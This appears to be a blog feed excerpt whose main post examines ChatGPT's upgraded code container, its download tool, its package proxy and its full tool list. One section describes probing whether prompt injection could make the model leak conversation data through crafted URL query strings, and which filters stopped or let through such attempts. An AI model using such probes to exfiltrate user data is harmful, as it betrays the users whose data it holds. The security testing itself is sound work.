&lt;p&gt;This created a set of wheels in the &lt;code&gt;dist/&lt;/code&gt; folder. I tested one of them like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uv run --with dist/sqlite_scanner-0.1.1-py3-none-macosx_11_0_arm64.whl \
  sqlite-scanner --version&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When that spat out the correct version number I was confident everything had worked as planned, so I pushed the whole set of wheels to PyPI using &lt;code&gt;twine upload&lt;/code&gt; like this:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;uvx twine upload dist/&lt;span class="pl-k"&gt;*&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I had to paste in a PyPI API token I had saved previously.&lt;/p&gt;
&lt;h4 id="i-expect-to-use-this-pattern-a-lot"&gt;I expect to use this pattern a lot&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;sqlite-scanner&lt;/code&gt; is very clearly meant as a proof-of-concept for this wider pattern - Python is very much capable of recursively crawling a directory structure looking for files that start with a specific byte prefix on its own!&lt;/p&gt;
&lt;p&gt;That said, I think there's a &lt;em&gt;lot&lt;/em&gt; to be said for this pattern. Go is a great complement to Python - it's fast, compiles to small self-contained binaries, has excellent concurrency support and a rich ecosystem of libraries.&lt;/p&gt;
&lt;p&gt;Go is similar to Python in that it has a strong standard library. Go is particularly good for HTTP tooling - I've built several HTTP proxies in the past using Go's excellent &lt;code&gt;net/http/httputil.ReverseProxy&lt;/code&gt; handler.&lt;/p&gt;
&lt;p&gt;I've also been experimenting with &lt;a href="https://github.com/wazero/wazero"&gt;wazero&lt;/a&gt;, Go's robust and mature zero dependency WebAssembly runtime as part of my ongoing quest for the ideal sandbox for running untrusted code. &lt;a href="https://github.com/simonw/research/tree/main/wasm-repl-cli"&gt;Here's my latest experiment&lt;/a&gt; with that library.&lt;/p&gt;
&lt;p&gt;Being able to seamlessly integrate Go binaries into Python projects without the end user having to think about Go at all - they &lt;code&gt;pip install&lt;/code&gt; and everything Just Works - feels like a valuable addition to my toolbox.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/go"&gt;go&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sqlite"&gt;sqlite&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/datasette"&gt;datasette&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/uv"&gt;uv&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="go"/><category term="packaging"/><category term="projects"/><category term="pypi"/><category term="python"/><category term="sqlite"/><category term="datasette"/><category term="ai-assisted-programming"/><category term="uv"/></entry><entry><title>ChatGPT Containers can now run bash, pip/npm install packages, and download files</title><link href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#atom-tag" rel="alternate"/><published>2026-01-26T19:19:31+00:00</published><updated>2026-01-26T19:19:31+00:00</updated><id>https://simonwillison.net/2026/Jan/26/chatgpt-containers/#atom-tag</id><summary type="html">
    &lt;p&gt;One of my favourite features of ChatGPT is its ability to write and execute code in a container. This feature launched as ChatGPT Code Interpreter &lt;a href="https://simonwillison.net/2023/Apr/12/code-interpreter/"&gt;nearly three years ago&lt;/a&gt;, was half-heartedly rebranded to "Advanced Data Analysis" at some point and is generally really difficult to find detailed documentation about. Case in point: it appears to have had a &lt;em&gt;massive&lt;/em&gt; upgrade at some point in the past few months, and I can't find documentation about the new capabilities anywhere!&lt;/p&gt;
&lt;p&gt;Here are the most notable new features:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ChatGPT can &lt;strong&gt;directly run Bash commands&lt;/strong&gt; now. Previously it was limited to Python code only, although it could run shell commands via the Python &lt;code&gt;subprocess&lt;/code&gt; module.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It has Node.js&lt;/strong&gt; and can run JavaScript directly in addition to Python. I also got it to run "hello world" in &lt;strong&gt;Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C and C++&lt;/strong&gt;. No Rust yet though!&lt;/li&gt;
&lt;li&gt;While the container still can't make outbound network requests, &lt;strong&gt;&lt;code&gt;pip install package&lt;/code&gt; and &lt;code&gt;npm install package&lt;/code&gt; both work&lt;/strong&gt; now via a custom proxy mechanism.&lt;/li&gt;
&lt;li&gt;ChatGPT can locate the URL for a file on the web and use a &lt;code&gt;container.download&lt;/code&gt; tool to &lt;strong&gt;download that file and save it to a path&lt;/strong&gt; within the sandboxed container.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is a substantial upgrade! ChatGPT can now write and then test code in 10 new languages (11 if you count Bash), can find files online and download them into the container, and can install additional packages via &lt;code&gt;pip&lt;/code&gt; and &lt;code&gt;npm&lt;/code&gt; to help it solve problems.&lt;/p&gt;
&lt;p&gt;(OpenAI &lt;em&gt;really&lt;/em&gt; need to develop better habits at &lt;a href="https://help.openai.com/en/articles/6825453-chatgpt-release-notes"&gt;keeping their release notes up-to-date&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;I was initially suspicious that maybe I'd stumbled into a new preview feature that wasn't available to everyone, but I &lt;a href="https://chatgpt.com/share/6977aa7c-7bd8-8006-8129-8c9e25126fed"&gt;tried some experiments&lt;/a&gt; in a free ChatGPT account and confirmed that the new features are available there as well.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#container-download"&gt;container.download&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#is-container-download-a-data-exfiltration-vulnerability-"&gt;Is container.download a data exfiltration vulnerability?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#bash-and-other-languages"&gt;Bash and other languages&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#installing-packages-from-pip-and-npm"&gt;Installing packages from pip and npm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2026/Jan/26/chatgpt-containers/#adding-it-all-together"&gt;Adding it all together&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="container-download"&gt;container.download&lt;/h4&gt;
&lt;p&gt;My first clue to the new features came the other day when I got curious about Los Angeles air quality, in particular has the growing number of electric vehicles there had a measurable impact?&lt;/p&gt;
&lt;p&gt;I prompted a fresh GPT-5.2 Thinking session with:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Show me Los Angeles air quality over time for last 20 years&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here's the &lt;a href="https://chatgpt.com/share/6977a80d-e6e4-8006-b4fe-ed8478fe99d8"&gt;shared transcript&lt;/a&gt;. Annoyingly that doesn't make the thinking trace available, so here's a screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2026/container-download.jpg" alt="Exploring methods to fetch AQI data and reports Downloading AQI data for Los Angeles  I found an xlsx file titled &amp;quot;Air Quality Statistics by City, 2000-2023&amp;quot;, which should include data for Los Angeles. While user requested data for Using provided URL to download file  The URL from the error message leads to an Excel file containing air quality trends. I can use the container.download tool to fetch it. Let’s proceed with this approach and see if it works out for downloading the file directly! Analyzed Parsing and analyzing the data for Los Angeles  Now that we've downloaded the data, I'll parse it using Python. First, I'll focus on identifying the row(s) corresponding to Los Angeles, which may be labeled under &amp;quot;Los Angeles-Long Beach-Anaheim, CA.&amp;quot; Afterward, I'll plot metrics like &amp;quot;Median AQI&amp;quot; and &amp;quot;Days Good&amp;quot; over time to visualize trends. Let’s begin!" style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;This bit instantly caught my eye:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[...] The URL from the error message leads to an Excel file containing air quality trends. I can use the container.download tool to fetch it. [...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What's &lt;code&gt;container.download&lt;/code&gt;? I &lt;a href="https://chatgpt.com/share/6977aab0-b874-8006-9b54-d3d216ed884b"&gt;asked ChatGPT&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Without running any searches tell me about your container.download tool&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And got back:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sure. &lt;code&gt;container.download&lt;/code&gt; is a built-in tool I can call that &lt;strong&gt;fetches a file from a URL and saves it into the sandboxed container filesystem&lt;/strong&gt; for this chat session.&lt;/p&gt;
&lt;h4 id="what-it-does"&gt;What it does&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Takes a &lt;strong&gt;publicly reachable URL&lt;/strong&gt; and a &lt;strong&gt;destination filepath&lt;/strong&gt; in the container.&lt;/li&gt;
&lt;li&gt;Downloads the bytes from that URL and writes them to the given path.&lt;/li&gt;
&lt;li&gt;After that, I can read/process the file locally in the container (e.g., unzip it, parse it with Python, open it as an image, convert it, etc.).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="signature-inputs-"&gt;Signature (inputs)&lt;/h4&gt;
&lt;p&gt;It’s called like this (conceptually):&lt;/p&gt;
&lt;div class="highlight highlight-source-json"&gt;&lt;pre&gt;{
  &lt;span class="pl-ent"&gt;"url"&lt;/span&gt;: &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;https://example.com/somefile.zip&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;,
  &lt;span class="pl-ent"&gt;"filepath"&lt;/span&gt;: &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;/mnt/data/somefile.zip&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
}&lt;/pre&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;Further experimentation confirmed that &lt;code&gt;container.download&lt;/code&gt; behaves as described.&lt;/p&gt;
&lt;p&gt;I had it download one file from a server with logs enabled and captured the IP address and user-agent. Here are the most interesting headers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Cf-Connecting-Ip: 52.230.164.178
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;52.230.164.178&lt;/code&gt; IP address &lt;a href="http://ip-api.com/json/52.230.164.178"&gt;resolves to&lt;/a&gt; Microsoft Azure Cloud (centralus) in Des Moines, Iowa.&lt;/p&gt;
&lt;h4 id="is-container-download-a-data-exfiltration-vulnerability-"&gt;Is container.download a data exfiltration vulnerability?&lt;/h4&gt;
&lt;p&gt;On the one hand, this is really useful! ChatGPT can navigate around websites looking for useful files, download those files to a container and then process them using Python or other languages.&lt;/p&gt;
&lt;p&gt;Is this a data exfiltration vulnerability though? Could a prompt injection attack trick ChatGPT into leaking private data out to a &lt;code&gt;container.download&lt;/code&gt; call to a URL with a query string that includes sensitive information?&lt;/p&gt;
&lt;p&gt;I don't think it can. I tried getting it to assemble a URL with a query string and access it using &lt;code&gt;container.download&lt;/code&gt; and it couldn't do it. It told me that it got back this error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ERROR: download failed because url not viewed in conversation before. open the file or url using web.run first.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This looks to me like the same safety trick &lt;a href="https://simonwillison.net/2025/Sep/10/claude-web-fetch-tool/"&gt;used by Claude's Web Fetch tool&lt;/a&gt;: only allow URL access if that URL was either directly entered by the user or if it came from search results that could not have been influenced by a prompt injection.&lt;/p&gt;
&lt;p&gt;(I poked at this a bit more and managed to get a simple constructed query string to pass through &lt;code&gt;web.run&lt;/code&gt; - a different tool entirely - but when I tried to compose a longer query string containing the previous prompt history a &lt;code&gt;web.run&lt;/code&gt; filter blocked it.)&lt;/p&gt;
&lt;p&gt;So I &lt;em&gt;think&lt;/em&gt; this is all safe, though I'm curious if it could hold firm against a more aggressive round of attacks from a seasoned security researcher.&lt;/p&gt;
&lt;h4 id="bash-and-other-languages"&gt;Bash and other languages&lt;/h4&gt;
&lt;p&gt;The key lesson from coding agents like Claude Code and Codex CLI is that Bash rules everything: if an agent can run Bash commands in an environment it can do almost anything that can be achieved by typing commands into a computer.&lt;/p&gt;
&lt;p&gt;When Anthropic added their own code interpreter feature to Claude &lt;a href="https://simonwillison.net/2025/Sep/9/claude-code-interpreter/"&gt;last September&lt;/a&gt; they built that around Bash rather than just Python. It looks to me like OpenAI have now done the same thing for ChatGPT.&lt;/p&gt;
&lt;p&gt;Here's what ChatGPT looks like when it runs a Bash command - here my prompt was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;npm install a fun package and demonstrate using it&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2026/chatgpt-bash.jpg" alt="Screenshot of ChatGPT 5.2 Thinking interface with Activity panel. Main chat shows user prompt &amp;quot;npm install a fun package and demonstrate using it&amp;quot; and response &amp;quot;Thought for 32s &amp;gt; Yep — here's a fun one: cowsay 🐄 I installed it with npm and ran a tiny Node script:&amp;quot; followed by bash code block containing &amp;quot;mkdir -p /mnt/data/npmfun cd /mnt/data/npmfun npm init -y npm install cowsay --no-fund --no-audit node -e &amp;quot;const cowsay=require('cowsay'); console.log(cowsay.say({text:'Hel&amp;quot; and Output: section showing ASCII cow art saying &amp;quot;&amp;lt; Hello from npm inside the container! &amp;gt;&amp;quot; with cow drawing made of characters. Activity panel on right (32s) shows: &amp;quot;Running npm install in container&amp;quot; with bash command and output &amp;quot;v22.16.0 10.9.2&amp;quot;, &amp;quot;Inspecting npm command output and container status&amp;quot; with directory listing showing &amp;quot;drwxr-xr-x 2 root oai_shared 80 Jan 26 17:32 . drwxrwxr-x 2 oai oai_shared 60 Jan 26 17:32 .. -rw-r--r-- 1 root root&amp;quot;, &amp;quot;Re-running npm install&amp;quot; note about node_modules missing, and &amp;quot;Rerunning npm install with output&amp;quot; showing &amp;quot;added 41 packages in 2s&amp;quot;." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;It's useful to click on the "Thinking" or "Thought for 32s" links as that opens the Activity sidebar with a detailed trace of what ChatGPT did to arrive at its answer. This helps guard against cheating - ChatGPT might claim to have run Bash in the main window but it can't fake those black and white logs in the Activity panel.&lt;/p&gt;
&lt;p&gt;I had it run &lt;a href="https://chatgpt.com/share/6977b890-f1c0-8006-b39a-9a02c7ca1993"&gt;Hello World in various languages&lt;/a&gt; later in that same session.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2026/chatgpt-hello-worlds.jpg" alt="Terminal screenshot showing &amp;quot;Hello, world&amp;quot; programs in multiple languages. Top section shows code: swift -e 'print(&amp;quot;Hello, world from Swift!&amp;quot;)' followed by cat &amp;gt; hello.kts &amp;lt;&amp;lt;'KTS' / println(&amp;quot;Hello, world from Kotlin!&amp;quot;) / KTS / kotlinc -script hello.kts, then cat &amp;gt; hello.c &amp;lt;&amp;lt;'C' / #include &amp;lt;stdio.h&amp;gt; / int main(){ puts(&amp;quot;Hello, world from C!&amp;quot;); return 0; } / C / gcc hello.c -o hello_c / ./hello_c, then cat &amp;gt; hello.cpp &amp;lt;&amp;lt;'CPP' / #include &amp;lt;iostream&amp;gt; / int main(){ std::cout &amp;lt;&amp;lt; &amp;quot;Hello, world from C++!&amp;quot; &amp;lt;&amp;lt; std::endl; } / CPP / g++ hello.cpp -o hello_cpp / ./hello_cpp. Bottom section shows output: Hello, world from Ruby! / Hello, world from Perl! / Hello, world from PHP! / Hello, world from Go! / Hello, world from Java! / Hello, world from Swift! / Hello, world from Kotlin! / Hello, world from C! / Hello, world from C++!. UI shows &amp;quot;Thought for 2m 29s&amp;quot; and &amp;quot;Done&amp;quot; at bottom." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;h4 id="installing-packages-from-pip-and-npm"&gt;Installing packages from pip and npm&lt;/h4&gt;
&lt;p&gt;In the previous example ChatGPT installed the &lt;code&gt;cowsay&lt;/code&gt; package from npm and used it to draw an ASCII-art cow. But how could it do that if the container can't make outbound network requests?&lt;/p&gt;
&lt;p&gt;In &lt;a href="https://chatgpt.com/share/69773501-b6d8-8006-bbf2-fa644561aa26"&gt;another session&lt;/a&gt; I challenged it to explore its environment. and figure out how that worked.&lt;/p&gt;
&lt;p&gt;Here's &lt;a href="https://github.com/simonw/research/blob/main/chatgpt-container-environment/README.md"&gt;the resulting Markdown report&lt;/a&gt; it created.&lt;/p&gt;
&lt;p&gt;The key magic appears to be a &lt;code&gt;applied-caas-gateway1.internal.api.openai.org&lt;/code&gt; proxy, available within the container and with various packaging tools configured to use it.&lt;/p&gt;
&lt;p&gt;The following environment variables cause &lt;code&gt;pip&lt;/code&gt; and &lt;code&gt;uv&lt;/code&gt; to install packages from that proxy instead of directly from PyPI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PIP_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
PIP_TRUSTED_HOST=packages.applied-caas-gateway1.internal.api.openai.org
UV_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
UV_INSECURE_HOST=https://packages.applied-caas-gateway1.internal.api.openai.org
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one appears to get &lt;code&gt;npm&lt;/code&gt; to work:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NPM_CONFIG_REGISTRY=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../npm-public
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it reported these suspicious looking variables as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CAAS_ARTIFACTORY_BASE_URL=packages.applied-caas-gateway1.internal.api.openai.org
CAAS_ARTIFACTORY_PYPI_REGISTRY=.../artifactory/api/pypi/pypi-public
CAAS_ARTIFACTORY_NPM_REGISTRY=.../artifactory/api/npm/npm-public
CAAS_ARTIFACTORY_GO_REGISTRY=.../artifactory/api/go/golang-main
CAAS_ARTIFACTORY_MAVEN_REGISTRY=.../artifactory/maven-public
CAAS_ARTIFACTORY_GRADLE_REGISTRY=.../artifactory/gradle-public
CAAS_ARTIFACTORY_CARGO_REGISTRY=.../artifactory/api/cargo/cargo-public/index
CAAS_ARTIFACTORY_DOCKER_REGISTRY=.../dockerhub-public
CAAS_ARTIFACTORY_READER_USERNAME=reader
CAAS_ARTIFACTORY_READER_PASSWORD=****
NETWORK=caas_packages_only
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Neither Rust nor Docker are installed in the container environment, but maybe those registry references are a clue of features still to come.&lt;/p&gt;
&lt;h4 id="adding-it-all-together"&gt;Adding it all together&lt;/h4&gt;
&lt;p&gt;The result of all of this? You can tell ChatGPT to use Python or Node.js packages as part of a conversation and it will be able to install them and apply them against files you upload or that it downloads from the public web. That's &lt;em&gt;really&lt;/em&gt; cool.&lt;/p&gt;
&lt;p&gt;The big missing feature here should be the easiest to provide: we need &lt;strong&gt;official documentation&lt;/strong&gt;! A release notes entry would be a good start, but there are a lot of subtle details to how this new stuff works, its limitations and what it can be used for.&lt;/p&gt;
&lt;p&gt;As always, I'd also encourage OpenAI to come up with a name for this set of features that properly represents how it works and what it can do.&lt;/p&gt;
&lt;p&gt;In the meantime, I'm going to call this &lt;strong&gt;ChatGPT Containers&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id="list-of-tools"&gt;Update: a full list of tools&lt;/h4&gt;
&lt;p&gt;I decided to ask ChatGPT about other tools that were available to it in case there was anything interesting in there:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;List all tools that are available to you, with their exact names and descriptions and signatures&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Here's &lt;a href="https://chatgpt.com/share/6977ffa0-df14-8006-9647-2b8c90ccbb81"&gt;what I got back&lt;/a&gt;.&lt;/p&gt;

&lt;details&gt;&lt;summary&gt;List of ChatGPT tools according to GPT-5.2 Thinking on 26th January 2026&lt;/summary&gt;
&lt;p style="margin-top: 1em"&gt;Below are &lt;strong&gt;all tools available to me in this chat&lt;/strong&gt;, with their &lt;strong&gt;exact names&lt;/strong&gt;, &lt;strong&gt;descriptions&lt;/strong&gt;, and &lt;strong&gt;signatures&lt;/strong&gt; (as defined in my tool interface).&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="python"&gt;python&lt;/h4&gt;
&lt;h5 id="python-exec-freeform-any"&gt;
&lt;code&gt;python.exec&lt;/code&gt; (FREEFORM) → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Execute Python code in a Jupyter environment for &lt;em&gt;private/internal reasoning&lt;/em&gt; (not shown to you). Internet access is disabled.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;python.exec(FREEFORM) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="web"&gt;web&lt;/h4&gt;
&lt;h5 id="web-run-toolcallv5-json-any"&gt;
&lt;code&gt;web.run&lt;/code&gt; (ToolCallV5 JSON) → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Access the internet and specialized lookups (search, open/click/find pages, screenshot PDFs, image search, product search, finance, weather, sports, calculator, time). Supports citations via returned &lt;code&gt;turn...&lt;/code&gt; reference IDs.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;web.run({ open?, click?, find?, screenshot?, image_query?, product_query?, sports?, finance?, weather?, calculator?, time?, search_query?, response_length? }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="automations"&gt;automations&lt;/h4&gt;
&lt;h5 id="automations-create-any"&gt;
&lt;code&gt;automations.create&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Schedule a future/recurring task/reminder/search via iCal VEVENT.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;automations.create({ prompt: string, title: string, schedule?: string, dtstart_offset_json?: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="automations-update-any"&gt;
&lt;code&gt;automations.update&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Modify an existing scheduled task.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;automations.update({ jawbone_id: string, schedule?: string, dtstart_offset_json?: string, prompt?: string, title?: string, is_enabled?: boolean }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="automations-list-any"&gt;
&lt;code&gt;automations.list&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; List existing automations.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;automations.list() -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="guardian-tool"&gt;guardian_tool&lt;/h4&gt;
&lt;h5 id="guardian-tool-get-policy-str"&gt;
&lt;code&gt;guardian_tool.get_policy&lt;/code&gt; → str&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Retrieve policy guidance for specific categories (currently: &lt;code&gt;election_voting&lt;/code&gt;).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;guardian_tool.get_policy({ category: string }) -&amp;gt; str&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="file-search"&gt;file_search&lt;/h4&gt;
&lt;h5 id="file-search-msearch-any"&gt;
&lt;code&gt;file_search.msearch&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Search across available internal/connected sources (in this environment: primarily “recording_knowledge” transcripts when relevant).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;file_search.msearch({ queries?: string[], source_filter?: string[], file_type_filter?: string[], intent?: string, time_frame_filter?: { start_date?: string, end_date?: string } }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="file-search-mclick-any"&gt;
&lt;code&gt;file_search.mclick&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Expand/open previously returned search results (or connector URLs) for more context.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;file_search.mclick({ pointers?: string[], start_date?: string, end_date?: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="gmail-read-only-"&gt;gmail (read-only)&lt;/h4&gt;
&lt;h5 id="gmail-search-email-ids-any"&gt;
&lt;code&gt;gmail.search_email_ids&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Search Gmail message IDs by query/tags (read-only).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;gmail.search_email_ids({ query?: string, tags?: string[], max_results?: integer, next_page_token?: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="gmail-batch-read-email-any"&gt;
&lt;code&gt;gmail.batch_read_email&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Read a batch of Gmail messages by message IDs (read-only).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;gmail.batch_read_email({ message_ids: string[] }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="gcal-read-only-"&gt;gcal (read-only)&lt;/h4&gt;
&lt;h5 id="gcal-search-events-any"&gt;
&lt;code&gt;gcal.search_events&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Search Google Calendar events in a time range and/or by keyword (read-only).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;gcal.search_events({ time_min?: string, time_max?: string, timezone_str?: string, max_results?: integer, query?: string, calendar_id?: string, next_page_token?: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="gcal-read-event-any"&gt;
&lt;code&gt;gcal.read_event&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Read a specific calendar event by ID (read-only).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;gcal.read_event({ event_id: string, calendar_id?: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="gcontacts-read-only-"&gt;gcontacts (read-only)&lt;/h4&gt;
&lt;h5 id="gcontacts-search-contacts-any"&gt;
&lt;code&gt;gcontacts.search_contacts&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Search Google Contacts by keyword (read-only).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;gcontacts.search_contacts({ query: string, max_results?: integer }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="canmore-canvas-"&gt;canmore (canvas)&lt;/h4&gt;
&lt;h5 id="canmore-create-textdoc-any"&gt;
&lt;code&gt;canmore.create_textdoc&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Create a new canvas text document (markdown or code).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;canmore.create_textdoc({ name: string, type: "document" | "code/bash" | "code/zsh" | "code/javascript" | "code/typescript" | "code/html" | "code/css" | "code/python" | "code/json" | "code/sql" | "code/go" | "code/yaml" | "code/java" | "code/rust" | "code/cpp" | "code/swift" | "code/php" | "code/xml" | "code/ruby" | "code/haskell" | "code/kotlin" | "code/csharp" | "code/c" | "code/objectivec" | "code/r" | "code/lua" | "code/dart" | "code/scala" | "code/perl" | "code/commonlisp" | "code/clojure" | "code/ocaml" | "code/powershell" | "code/verilog" | "code/dockerfile" | "code/vue" | "code/react" | "code/other", content: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="canmore-update-textdoc-any"&gt;
&lt;code&gt;canmore.update_textdoc&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Apply regex-based edits to the current canvas textdoc.&lt;br /&gt;
